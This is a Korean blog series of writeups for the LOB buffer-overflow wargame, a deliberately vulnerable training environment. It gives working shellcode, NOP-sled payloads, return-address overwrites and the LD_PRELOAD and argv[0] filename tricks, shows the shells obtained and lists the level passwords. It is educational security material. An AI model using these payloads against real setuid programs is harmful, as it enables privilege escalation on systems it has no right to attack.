필자는 argv[1]에 쉘코드를 삽입했다. nop을 많이 넣는 걸 좋아하기 때문에..

다른 블로그들의 풀이에서는 아마 쉘코드를 버퍼에 삽입할 것이다.


core 파일의 메모리 덤프는 main 함수에서 seg fault가 발생한 후의 상황이므로, problem_child의 스택 프레임이었던 영역보다 조금 높은 주소에 있을 것이다.

buffer는 problem_child의 스택 프레임 영역에 있으므로

x/64x $esp-256

ESP를 기준으로 problem_child의 스택 프레임을 찾음을 통해 금방 buffer를 찾을 수 있다.


위와 같이 0xff가 버퍼에 잘 들어가있다. 이 buffer 부분은 shellcode의 주소가 삽입될 공간이다.



esp보다 높은 주소로 가보면, argv를 발견할 수 있다.

메모리를 확인할 때 buffer와 argv[1]을 헷갈려서 

SFP에 0x90이 덮어씌워진 것으로 착각할 수도.. 필자가 그랬다.


어쨌든 nop+shellcode의 주소까지 확인했으니 exploit을 시도해보자.


<exploit>



payload는

shellcode의 주소*10(총 40바이트)

FPO 1바이트

NOP
SHELLCODE

가 될 것이다.


Overflow로 인해 FPO Overwrite가 발생하고, problem_child 함수 종료 후 main 함수까지 종료가 된다.

그 과정에서 RET Address로 EIP가 JMP하게 되는데

RET 영역이 Shellcode의 주소가 있는 영역(0xbfffd358)으로 움직이도록 Frame Pointer(0xbfffd354)를 움직였으므로

이 때 shellcode가 실행되게 된다.


심볼릭 링크로 원본 바이너리에 exploit을 시도하여

shell을 따냈다.

darkknight의 패스워드는 new attacker

'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB bugbear -> giant  (0) 2015.11.18
LOB darkknight -> bugbear  (0) 2015.11.15
LOB skeletom -> golem  (1) 2015.11.14
LOB vampire -> skeleton  (0) 2015.11.14
LOB troll -> vampire  (0) 2015.11.13

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/

Writeup을 쓰다보니 문제 풀이라기 보다는, 문제를 풀면서 발생하는 현상들에 대한

설명이 많아졌네요.

그런 점이 도움이 되셨으면 좋겠습니다.



<문제 소스 코드>

buffer부터 시작하여 메모리 끝 영역까지(커널 영역 제외) 모두 초기화해 버린다.

아주 무지막지하다.

저번 문제에서 활용한 메모리 마지막 영역도 사용불가능하다는 것!

하지만 아직 스택을 사용할 수 있나보다.

어떻게 풀이해야할까? 이 문제는 리눅스 라이브러리에 대한 사전지식이 필요한 문제다.


<shellcode를 삽입할 수 있는 스택 영역 찾기>

모든 OS에는 메모리의 효율적인 사용을 위해서 라이브러리를 사용한다. 메모리 구조를 공부해보면, 공유 라이브러리 영역이 따로 있다.

우리는 스택 영역을 활용할 것인데 이 설명을 왜하는 것인가?


스택 영역에도 라이브러리가 하나 있기 때문이다. 바로 환경변수 LD_PRELOAD이다.


다음 사진을 보자.



[skeleton@localhost skeleton]$ mkdir /tmp/dirgolem;cd /tmp/dirgolem

[skeleton@localhost dirgolem]$ cat > lib.c

[skeleton@localhost dirgolem]$ touch lib.c

[skeleton@localhost dirgolem]$ ls -l

total 0

-rw-rw-r--    1 skeleton skeleton        0 Nov  9 03:44 lib.c

[skeleton@localhost dirgolem]$ gcc -fPIC -shared lib.c -o lib.so

[skeleton@localhost dirgolem]$ export LD_PRELOAD="/tmp/dirgolem/lib.so" 

[skeleton@localhost dirgolem]$ ls

lib.c  lib.so


tmp 디렉토리에서 0 바이트짜리 파일을 gcc로 컴파일하여 so 파일을 만들었다.

-shared 옵션 : so 파일을 컴파일 하기 위한 옵션.

-fPIC : 쉽게 말해 so 파일의 속도 개선을 위한 옵션. 공유 라이브러리 컴파일 시 통상적으로 사용되는 옵션이다. 여기서는 큰 상관 없다.

so 파일 : shared object. 리눅스의 공유 라이브러리 파일 확장자.

export 명령어로 LD_PRELOAD 환경변수를 so 파일의 절대경로로 설정해준다음

ls 명령어로 경로가 잘 지정되었는 지 확인한다.

잘못 설정하였을 경우(경로명이 없거나 상대경로, 파일명을 잘못 기재)

모든 프로그램 실행 시 오류 메시지가 출력된다.



간단한 테스트 파일을 컴파일 한 후 ldd 명령어로 사용되는 라이브러리 파일들을 보니

LD_PRELOAD에서 설정한 lib.so가 등록된 것을 확인할 수 있다.


필자가 여지껏 LD_PRELOAD에 대해 설명한 것은 스택 상에 LD_PRELOAD의 파일명이 올라가기 때문이라고 앞에 이야기했었다.

이제 그 사실과 주소를 확인해보자!



gdb -q ./test

b main

r

x/10000s 0xbffff000

(엔터)

...


0xbfff0000이든 0xbffff000이든 찾다보면 LD_PRELOAD의 파일명이 스택 영역에 올라간 것을 확인할 수 있다.



그럼 이를 어떻게 이용할 수 있을까?

이전에도 그랬듯이, 파일명을 nop+쉘코드로 설정해주면 된다!

LD_PRELOAD에 사용되는 파일읜 내용은 무엇이 들어가든 의미가 없다.

그 이유는 setuid가 걸린 파일에서는 LD_PRELOAD가 작동하지 않기 때문이다.

그러나, 스택 내에 파일명은 올라가게된다.


자 이제 다음으로 넘어가보자.


<LD_PRELOAD 파일명에 shellcode 삽입>


unset LD_PRELOAD


mv lib.so `python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`


export LD_PRELOAD=/tmp/dirgolem/`python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`


ls #경로가 잘 입력되었는 지 확인. 정상적으로 작동하면 잘 입력된 것.


위 명령어를 통해 쉘코드를 파일명에 싣고, 다시 한번 gdb -q ./test를 통해 메모리에 잘 올라갔는 지 확인해보자.



쉘코드가 잘 올라갔다! 자 이제 저 주소로 RET 영역을 바꿔주자.


[skeleton@localhost dirgolem]$ ln -sf ~/golem test

[skeleton@localhost dirgolem]$ ./test `python -c 'print "A"*44+"\xb7\xf5\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA·

Segmentation fault


[skeleton@localhost dirgolem]$ cp ~/golem test

[skeleton@localhost dirgolem]$ ./test `python -c 'print "A"*44+"\xb7\xf5\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA·

Segmentation fault (core dumped)

[skeleton@localhost dirgolem]$ gdb -q -c core


심볼릭 링크를 통해 exploit을 시도했으나, seg fault가 발생했다.

무슨 문제일까?

core 파일을 확인하기 위해 바이너리 파일을 카피해와서 core 파일을 생성하여 확인해보았다.


우리가 변조한 RET 어드레스에는 쉘코드가 없는 것을 확인할 수 있었다.

맨 처음 드는 생각은 setuid가 걸린 파일이라서 그런가?이다.

하지만 그 문제가 아니다.



애초에 shellcode를 배치했던 위치보다 조금 더 낮은 주소에 위치하고 있는 것을 확인할 수 있다.

프로그램을 실행할 때마다 주소가 바뀌는 것일까?(=ASLR)

그것 또한 아니다. LOB는 Redhat 6.2 환경으로 ASLR이 적용되지 않는다.

무슨 문제일까?


이것은 바로 스택 프레임이 이 주소에 영향을 주었기 때문이다.

이전 문제에서 봤듯이, 스택 프레임의 크기 등 여러 요소에 따라 스택의 주소는 변화한다.

shellcode를 올린 영역 또한 스택 영역이기 때문에, 이에 영향을 받는 것이다.


만약 임의로 컴파일한 test 파일이 아니라 golem 파일을 복사해와서 LD_PRELOAD의 주소를 확인했다면

한 번에 exploit이 성공했을 것이다.


자 이제 정확히 알아낸 주소로 exploit을 시도해보자!


<exploit>



이 때 nop 영역 중 아무 주소로 RET 영역을 덮어써도 상관없으나

주소에 \x00이 포함될 경우, 페이로드가 끊기게 되므로 필자는 0xbffff501로 변조해주었다.


golem의 패스워드는 cup of coffee


어려운 문제였다.


나중에 더 자세한 내용으로 따로 포스팅하면 좋을듯 ..

'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB darkknight -> bugbear  (0) 2015.11.15
LOB golem -> darkknight  (0) 2015.11.14
LOB vampire -> skeleton  (0) 2015.11.14
LOB troll -> vampire  (0) 2015.11.13
LOB orge -> troll  (0) 2015.11.13

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/

필자가 orge 문제 풀이 작성 시 헷갈렸던 문제이다.



문제 소스코드.

이번엔 argv[0]까지 초기화 되었다! 이제 우리에게 남은 부분은 어디일까?

orge 문제 포스트를 보면 알 수 있다


모르겠으면 스택을 다 뒤져보면 되지!라는 생각을 했다면 풀 수 있는 문제다.



[vampire@localhost vampire]$ mkdir /tmp/dirskeleton

[vampire@localhost vampire]$ cd /tmp/dirskeleton/

[vampire@localhost dirskeleton]$ cp ~/skeleton .

[vampire@localhost dirskeleton]$ gdb -q ./skeleton 

(gdb) set disassembly-flavor intel 

(gdb) disassemble main


<shellcode를 어디에 삽입하지?>

스택 메모리를 뒤져보자.




argv[0]을 초기화했으나 메모리 끝 영역에 argv[0] 값이 남아있는 것을 확인할 수 있다!

이것을 활용하자!


<argv[0]에 shellcode 삽입하기>

exploit 방법은 orge 레벨과 거의 똑같다.

파일이름을 통해 argv[0]에 쉘코드를 삽입하자!



[vampire@localhost dirskeleton]$ ls

[vampire@localhost dirskeleton]$ cp ~/skeleton ./`python -c 'print "\x90"*150+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'`

[vampire@localhost dirskeleton]$ ./* `python -c 'print "\xbf"*48'`

¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿

Segmentation fault (core dumped)


shellcode 뒤에 nop을 50개 넣어주었는데, 이 쉘코드의 특성상 shellcode 뒤에 약간의 공간이 필요하므로 넣어주었다.

core 파일을 생성하였다. GDB로 shellcode의 주소를 알아보자.

우리는 쉘코드가 메모리의 끝 영역에 있다는 것을 알고 있다.


gdb -q -c core

x/256s 0xbfffff00


'./'를 제외하고 0xbfffff03에 nop+shellcode가 위치한다.

이제 이 주소로 RET 영역을 overwrite 하면 된다.


<exploit>



[vampire@localhost dirskeleton]$ ln -sf ~/skeleton ./`python -c 'print "\x90"'`*                                                 

[vampire@localhost dirskeleton]$ ls

core

??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????龞1ɱ2?l?ÿ??羵ꀨ쀿ÿ2i00tii0cjo?㐔?࿱?̿??????????????????????????????????????????????????

[vampire@localhost dirskeleton]$ ./`python -c 'print "\x90"'`* `python -c 'print "\xbf"*44+"\x03\xff\xff\xbf"'`

¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿ÿÿ¿

bash$ id

uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire)

bash$ my-pass

euid = 510

shellcoder

bash$


skeleton의 패스워드는 shellcoder


'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB golem -> darkknight  (0) 2015.11.14
LOB skeletom -> golem  (1) 2015.11.14
LOB troll -> vampire  (0) 2015.11.13
LOB orge -> troll  (0) 2015.11.13
LOB darkelf -> orge  (0) 2015.11.13

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/


간단한 개념만 더해진 문제이다. 위는 소스 코드. 스택을 사용하되 0xbfffxxxx 영역을 사용하지 못하게 했다.

이는 스택의 특성을 잘 이해한다면 금방 풀 수 있는 문제다.

간단하니 한 번 생각해보자!







스택은 여러 가지 환경에 의해 크기가 결정된다. 스택프레임의 크기가 변하면 주소도 조금씩 변한다.

더 정확히 말하면, 스택이 커질수록 낮은 주소를 사용해야 한다. 스택은 거꾸로 자라는 성질이 있으므로.

스택 프레임을 매우매우 크게 만들어주면, 스택은 0xbffe 영역을 사용하게 된다.

필자는 무식하게 nop 문자를 10만개 넣어줌으로써 스택 프레임을 크게 해주었고, core 파일을 통해 주소를 확인해보니 0xbffe 영역을 사용하는 것을 알 수 있었다.

이제 RET 영역만 shellcode의 주소로 변조해주면 된다.

0xbffe 중 거의 아무데나 찍어도 nop이 10만개이기 때문에 shellcode가 실행될 것이다.



간단하게 exploit이 성공했고 패스워드를 알아냈다.

vampire의 패스워드는 music world


'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB skeletom -> golem  (1) 2015.11.14
LOB vampire -> skeleton  (0) 2015.11.14
LOB orge -> troll  (0) 2015.11.13
LOB darkelf -> orge  (0) 2015.11.13
LOB wolfman -> darkelf  (0) 2015.11.13

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/


문제 소스 코드.

인자 두 개 고정, 환경 변수 초기화, argv[1] 초기화!

그런데 스택에 쉘을 삽입하라는 문제이다.


쉘을 어디에 삽입할 수 있을까? 우리에겐 아직 초기화되지 않은 데이터가 하나 남아있다.



사실 필자가 이 글을 쓰면서 이 문제와 다른 문제를 착각했다!(...)

우리는 argv[0]이 초기화되지 않았다는 사실을 알고있다. 고로 이 문제는 argv[0]을 활용하는 문제이다.


필요없는 설명은 갈색으로 음영처리 해놓았으니, 참고만 하면 하도록 하자.


tmp 디렉토리를 만들고 GDB에서 바이너리를 실행해보도록 하자.

breakpoint를 걸 곳을 찾기 위해 파일을 디스어셈블한다.


gdb -q ./troll

disas(semble) main



b*main+317

r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`


스택 프레임을 정리하는 leave 명령이 실행되기 전에 breakpoint를 걸자.

코드에 있는 모든 초기화 작업이 완료된 후의 스택 메모리를 보기 위함이다.

그 후 실행을 하면 프로그램이 브레이크포인트에 걸리게 된다.



x/10000s $esp


메모리를 일일히 확인해보자노가다

10000s는 10000개를 string 형태로 보여달라는 말이다.

$esp는 esp 레지스터부터 보자는 뜻.



메모리를 찾아보니 argv[0]의 값이 남아있는 것을 확인할 수 있다.

메모리가 argv[1]만 초기화했기 때문이다.

우리는 이를 쉘코드 삽입 영역으로 이용할 수 있다.



유저 영역 메모리 맨 끝에 하나가 더 있는 것을 확인할 수 있다.

이 값들의 사이에는 환경변수들이 있었고, 지금은 초기화 된 상태이다.

이 값들은 환경변수가 아니기에 초기화가 되지 않고 아직도 남아있는 것이다.




스택 메모리에는 argv[0]이 남아있을 것이다.

자 이제 argv[0]에 쉘코드를 어떻게 삽입할까?



알다시피 argv[0]은 파일이름을 통해 조작할 수 있다.

파일이름을 nop과 shellcode으로 하면 argv[0]에 쉘코드를 삽입할 수 있다.


그런데! 필자가 사용하던 24 bytes 쉘코드는 \x2f를 포함하고 있다. \x2f는 '/'로써, 디렉토리 구분 인자다.

즉, 파일 이름에는 \x2f는 포함되어선 안된다.

방법은 두 가지이다. \x2f마다 해당 이름의 디렉토리를 생성하는 것이다.

또는 \x2f가 없는 쉘코드를 사용하는 것이다. 필자는 이 방법을 추천한다(더 편리함)


필자가 사용한 쉘코드는 다음과 같다.


\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81


24 bytes 쉘코드는 이것이다.


\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80


이제 이름 길이만 신경쓰면 파일이름에 쉘코드를 포함시킬 수 있을 것이다.

이제 payload를 작성할 차례!



파일을 실행하고 argv[1]을 통해 RET를 overwrite하였다.

core 파일을 통해 쉘코드의 주소를 확인하자.

쉘코드는 두 곳을 사용할 수 있었다.

다음 명령어를 입력해보자.


x/10000s $esp


argv[0]



실제로 exploit을 시도해보면, 메모리 맨 끝에 있는 쉘코드는 사용할 수가 없는 것을 알 수 있다.



왜 이렇게 되는걸까?


설명하자면 길지만, 간단하게 말하면

쉘코드를 디스어셈블 해보면, 이 쉘코드는 쉘코드의 바로 뒤 영역을 사용하게 된다.

즉, 커널 영역을 침범하게 되기 때문에 seg fault가 발생하는 것이다.

core 파일을 확인해보면 쉘코드 중간에서 EIP가 멈춘 것을 확인할 수 있는데, 이 부분이 커널 영역을 침범하게되는 부분이다.

이 영역을 사용하려면 약간의 조치만 취해주면 된다.

앞의 nop 문자를 약간 뺴고 쉘코드의 뒤에 아무 문자나 넣어주면 그만큼 공간이 생기기 때문에, 이 영역도 사용할 수 있다.


여유가 된다면 이 내용에 대해 따로 포스팅하겠다.


다시 본론으로 돌아와서, 어쨌든 쉘을 얻을 수 있으므로

늘 그래왔듯이 심볼릭 링크를 통해 troll의 쉘을 얻어보자.




argv[0]이라고 설명이 붙어있는 사진을 보면, 0xbffff946에 argv[0]이 있는 것을 확인할 수 있다.

nop+shellcode는 0xbffff948부터 시작한다.

이제 RET에 0xbffff948을 입력하면 exploit이 성공할 것이다!



[orge@localhost dirtroll]$ ln -sf ~/troll `python -c 'print "\x90"'`*

[orge@localhost dirtroll]$ ls -l

total 60

-rw-------    1 orge     orge        61440 Nov  8 22:12 core

lrwxrwxrwx    1 orge     orge           16 Nov  8 22:20 ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????龞1ɱ2?l?ÿ??羵ꀨ쀿ÿ2i00tii0cjo?㐔?࿱?̿ -> /home/orge/troll

[orge@localhost dirtroll]$ ./`python -c 'print "\x90"'`* `python -c 'print "A"*44+"\x48\xf9\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH

bash$ id

uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge)

bash$ my-pass

euid = 508

aspirin


<설명>

ln 사용 시 -f 는 파일이 존재해도 무시하는 옵션이고, ``를 닫고 *를 쓴 것은, *을 와일드 카드로 사용한 것이다.

rm *를 하면 디렉토리 내 모든 파일을 삭제하는 명령이듯이, \x90로 시작하는 모든 파일을 가리키는 것이다.

링크할 때도, 실행할 때도 저렇게 사용할 수 있다.

그리고 RET 영역을 0xbffff946으로 변조해도 쉘이 잘 실행된다. './'을 기계어로 취급하여 수행해도 쉘코드 실행에 문제가 되지 않기 때문이다.



필자는 nop 영역 시작 부분으로 RET 영역을 변조하여 troll의 쉘을 얻어내고 패스워드를 알아낼 수 있었다.


troll의 패스워드는 aspirin


'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB vampire -> skeleton  (0) 2015.11.14
LOB troll -> vampire  (0) 2015.11.13
LOB darkelf -> orge  (0) 2015.11.13
LOB wolfman -> darkelf  (0) 2015.11.13
LOB orc -> wolfman  (0) 2015.11.13

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/

문제 풀이에 대한 자세한 설명은 이전 문제들에 모두 되어있으므로 생략한다.




문제 소스 코드이다.

이번 문제에서는 argv[0]의 길이를 체크한다. 


argv[0]은 우리가 쉘에서 프로그램을 실행할 때 입력한 명령어가 입력된다.

예를 들면 ./orge, /tmp/dirorge/orge, ~/orge 등이 있다. 이 문자열의 길이를 77자로 맞춰주면 된다.



mkdir /tmp/dirorge

cd /tmp/dirorge

cp ~/orge .

`python -c 'print "."+"/"*72+"orge"'` a


argv[0]을 체크하는 조건문이 통과되는 지 체크하기 위해 다음을 입력해본다.

사진 중 파란 점으로 표시한 부분들만 보면 된다.

python을 통해 .////////orge 형식으로 명령어를 입력하였다.(/는 72개. .과 orge와 합쳐 77 글자가 되기 위하여)

a는 argc를 체크하는 인자를 통과하기 위해 입력해주었다.

stack is still your friend.가 출력된다면, argv[0]이 77 글자라는 것이다.

이제 쉘코드로 넘어가보자.


`python -c 'print "."+"/"*72+"orge"'` `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf "+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50

\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


argv[2]에 nop+shellcode를 입력해주었다.

seg fault를 확인할 수 있고, gdb로 core를 확인해보자.




RET 영역을 nop 영역 중 한 곳의 주소로 입력하고 exploit을 시도했더니 성공한 것을 확인할 수 있다.

심볼릭 링크와 함께 exploit을 시도하여 패스워드를 확인할 수  있다.

orge의 패스워드는 timewalker



'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB troll -> vampire  (0) 2015.11.13
LOB orge -> troll  (0) 2015.11.13
LOB wolfman -> darkelf  (0) 2015.11.13
LOB orc -> wolfman  (0) 2015.11.13
LOB goblin -> orc  (0) 2015.11.13

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/

문제 풀이에 대한 자세한 설명은 이전 레벨들 풀이에 모두 되어있으므로, 생략한다.



이번에는 argv[1]의 길이를 체크한다. 즉, RET 영역 뒤에 쉘코드를 삽입할 수 없다.

환경변수 역시 초기화당한다.

그렇다면 어디가 남아있을까? 스택 한정.



argv[2]에 넣으면 된다

페이로드에 공백을 통해 여러 개의 인자를 각각 구분할 수 있다. =여러 개의 인자를 전달할 수 있다.

GDB - core를 통해 nop+쉘코드의 주소를 찾아보자.



x/80x $esp

(엔터)


esp 레지스터가 가리키는 영역부터 찾아보면, 금방 nop을 찾을 수 있다.

이제 RET 영역을 nop 영역의 주소 중 한 곳으로 바꿔주면 exploit이 성공한다.



이전 문제들과 마찬가지로 심볼릭 링크를 통해 exploit을 하였다.

darkelf의 패스워드는 kernel crashed

'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB orge -> troll  (0) 2015.11.13
LOB darkelf -> orge  (0) 2015.11.13
LOB orc -> wolfman  (0) 2015.11.13
LOB goblin -> orc  (0) 2015.11.13
LOB cobolt -> goblin  (0) 2015.11.13

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/



[LOB writeup] goblin→orc


이전 문제와 같은 방식으로 풀이했다.


같은 조건이라는 전제 하에, 프로그램 수행 종료 후 ESP가 0xbfffd3b0를 가리킨다.

goblin 레벨에서는 0xbfffd3a0을 가리켰다.

이 말인 즉슨, goblin에서는 0xbfffd3a0부터 nop sled가 시작되고

이번 레벨 orc에서는 0xbfffd3b0부터 nop sled가 시작된다.

RET 영역을 0xbfffd3b0~0xbfffd3b0+10000 중 아무 주소나 overwrite 하면 쉘이 실행된다.



wolfman의 패스워드는 love eyuna

'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB darkelf -> orge  (0) 2015.11.13
LOB wolfman -> darkelf  (0) 2015.11.13
LOB goblin -> orc  (0) 2015.11.13
LOB cobolt -> goblin  (0) 2015.11.13
LOB gremlin -> cobolt  (0) 2015.11.08

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/

이전 레벨들에서 모두 설명했던 방법이라 사진 세 장으로 설명이 된다.



문제 소스 코드이다.

환경변수에 쉘코드를 삽입하지 못하도록 모두 초기화해버린다.

스택 상에 쉘코드를 삽입해야 하므로, 남은 영역은 버퍼 또는 RET 영역 뒤이다.

필자는 RET 영역 뒤를 추천한다. 더 넓으므로 nop을 많이 넣을 수 있다.

여기서 쓰는 기법은 아니지만, RET 영역 바로 뒤는 esp 레지스터가 가리키는 위치라는 장점도 있다.



core 파일 생성을 위해 orc 파일을 tmp 디렉토리에 카피

GDB로 확인하지 않고 코드만 보아도 RET 영역이 44 문자 이후 4바이트라는 것을 알 수 있다.

payload : dummy*44 + RET + nop + shellcode

core 파일이 생성되었고, GDB로 열어서 EIP가 제대로 Overwrite 된 것을 확인할 수 있다.

x/x $esp를 통해 nop 영역의 주소 중 한 곳을 찾았다.(0xbfffd3a0)

페이로드 중 RET 영역을 찾아낸 주소로 바꿔내면 쉘이 얻어진다.

이제 원본 파일에 exploit을 시도한다.



성공적으로 쉘을 획득하였다.

간단.

'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB wolfman -> darkelf  (0) 2015.11.13
LOB orc -> wolfman  (0) 2015.11.13
LOB cobolt -> goblin  (0) 2015.11.13
LOB gremlin -> cobolt  (0) 2015.11.08
LOB gate -> gremlin  (0) 2015.11.05

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/



cobolt->goblin 소스 코드이다.

stdin으로 BOF exploit을 시도하는 문제이다.



우선, GDB로 buffer의 오프셋을 확인하였다.

ebp-16이므로 20문자 이후에는 ret 영역이 시작된다.



python -c 'print "A"*20+"\xbf\xbf\xbf\xbf"+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"' | ./goblin

python -c 'print "A"*20+"\xbf\xbf\xbf\xbf"+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"' > input

./goblin < input


이전 문제와 마찬가지로, dummy와 nop 10000개, 쉘코드를 넣어줬다.


stdin을 쉘 상에서 전달하기 위해 pipe를 사용하였다. 그런데 pipe 사용 시, stdin을 전달받는 프로세스(./goblin)에서의 오류 메시지가 출력되지 않는다. python 명령에서 segmentation fault가 발생하였을 때만 오류 메시지가 출력된다.

그렇다고 core 파일이 생성되지 않는 것은 아니다.

그 아래는 input 파일에 리다이렉션redirection을 통해 stdin으로 전달할 페이로드를 저장하고, 다시 한 번 리다이렉션을 통해 ./goblin에 파일로서 stdin을 전달하는 부분이다.

seg fault에 대한 오류 메시지를 확인할 수 있다.

파이프와 리다이렉션 모두 core 파일이 생성되므로 어떤 방법을 사용하든 상관 없다.



그런데, core 파일을 확인해보니 EIP가 0xbfbfbfbf가 아닌 다른 주소로 overwrite되었다. 우리는 저런 주소를 입력한 적이 없다.

공부 목적으로 wargame을 풀고 있다면, 이유를 한 번 생각해보자!



ltrace 명령어는 library? 단위로 프로그램 흐름을 tracing하는(따라가는) 명령어다.

우리는 ret 영역을 덮어씌웠으므로, 프로그램이 모두 수행된 후 쉘코드가 실행되어야 한다. 지금은 프로그램 모두 수행 후 0xbfbfbfbf로 EIP가 변조되어야 할 것이다.

쉽게 말하면, 지금 코드에 있는 printf 함수가 실행되기 전에(gets 함수에서) 프로그램이 seg fault를 뿜어냈다는 것이다.

그 이유가 무엇일 지도 한 번 생각해보자!

중요한 건 이전 문제에서도 같은 페이로드를 입력했는데 이번 문제에서만 문제가 발생한다는 것이다.

바뀐 것은 stdin 뿐이다.

우리가 gdb에서 확인했던 EIP는 바로 gets 함수 수행 중의 EIP였던 것이다.











좌측 그림은 다음은 그에 대한 이유이다.

우리가 매개인자로 페이로드를 전달하였을 때는, 스택 프레임이 매개인자만큼 알아서 사이즈가 커졌다.

그러나, stdin으로 전달할 때는, stdin으로 얼만큼이 입력되든 스택 프레임의 크기는 변함이 없으므로, 거기에서 문제가 발생하게 된다.

우리가 스택 프레임보다 훨씬 큰 입력을 하였을 때, 해당 입력은 스택 프레임을 넘어, Kernel 영역까지 침범하게 되는 것이다.

Kernel 영역은 유저 권한으로 접근이 불가하므로, 그 부분에서 Seg fault가 발생하면서 gets 함수에서 프로그램이 비정상 종료되었던 것이다.

이에 대한 해결방법은 두 가지이다. 이전 문제들처럼 스택 프레임을 크게 만들거나, 커널 영역을 덮어씌우지 않을만큼 페이로드의 길이를 줄이는 것이다.

우측 그림은 전자의 해결 방안를 설명하는 그림이다.

스택 프레임을, 이전 문제처럼 증가시킨다. 더 구체적으로 말하면 stdin을 전달함과 동시에 매개인자를 전달하여 스택 프레임을 키우는 것이다. 여기에 들어가는 내용은 아무거나 들어가도 상관이 없다.



그림에서 방법1과 2로 소개하였다.

정상적으로 페이로드가 출력되는 것을 확인할 수 있다.

gdb,core를 통해 EIP가 잘 덮어씌워지는 것도 확인할 수 있다.

필자는 전자를 추천한다. nop 문자가 많을수록 exploit이 편리하기 때문에.



esp의 메모리를 확인하였더니, 모두 nop이다. esp가 ret 영역 바로 아래에 있기 때문이다.

이제 저 주소 중 아무 곳으로 RET 영역을 덮어씌우면 될 것이다.



그런데, segmentation fault도 뜨지않고, 쉘도 실행되지 않았다.

무슨 영문인지. 이것 또한 stdin이기 때문에 발생하는 문제이다.



이는 ltrace로 확인해보면 그 이유를 알 수 있다.

RET 영역을 nop 영역의 주소로 덮어씌워준 input 파일과 함께 프로그램을 실행하였다.

위 빨간 박스로 표시한, __libc_start_main이 실행되는 부분이 있는데, 저 부분이 바로 shellcode가 실행된 부분이다.

즉, 쉘은 정상적으로 실행되었다. 이게 무슨 말일까? 우리는 쉘이 실행된 것을 확인할 수 없었는데.



위는 ltrace의 처음 부분이었고, 이 사진은 ltrace의 마지막 부분이다. read 함수를 수행하는 부분이 있는데, 이 부분이 바로 쉘 상에서 우리가 명령어를 입력하는 부분이다. 원래는 read 함수에서 프로그램이 입력을 기다려야 하는 것이 정상적인 쉘의 흐름이다.

그런데, read 함수가 종료되고 바로 쉘이 종료되어 버렸다.

즉, 쉘이 실행되기는 했으나 실행되자마자 종료되어 버리는 것이다.

